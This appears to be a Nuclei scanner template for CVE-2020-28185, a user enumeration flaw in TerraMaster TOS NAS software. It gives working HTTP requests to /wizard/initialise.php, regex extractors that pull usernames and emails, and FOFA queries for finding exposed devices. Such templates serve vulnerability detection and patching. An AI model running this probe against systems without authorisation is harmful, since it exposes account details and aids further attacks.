TerraMaster TOS < 4.2.06 - User Enumeration

id: CVE-2020-28185

info:
  name: TerraMaster TOS < 4.2.06 - User Enumeration
  author: pussycat0x
  severity: medium
  description: |
    User Enumeration vulnerability in TerraMaster TOS <= 4.2.06 allows remote unauthenticated attackers to identify valid users within the system via the username parameter to wizard/initialise.php.
  impact: |
    An attacker can enumerate valid usernames, potentially aiding in further attacks.
  remediation: |
    Upgrade TerraMaster TOS to version 4.2.06 or later.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/TerraMaster%20TOS%20%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E6%BC%8F%E6%B4%9E%20CVE-2020-28185.md
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28185
    - https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/
    - https://www.terra-master.com/
    - https://github.com/ArrestX/--POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-28185
    epss-score: 0.15977
    epss-percentile: 0.96928
    cpe: cpe:2.3:o:terra-master:tos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: terra-master
    product: tos
    fofa-query:
      - '"TerraMaster" && header="TOS"'
      - '"terramaster" && header="tos"'
  tags: cve2020,cve,terramaster,enum,tos,terra-master,vkev,vuln

http:
  - raw:
      - |
        GET /tos/index.php?user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wizard/initialise.php HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}/tos/index.php?user/login

        tab=checkuser&username=admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"username":'
          - '"email":'
          - '"status":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body_2
        regex:
          - '"username":"(.*?)"'
          - '"email":"(.*?)"'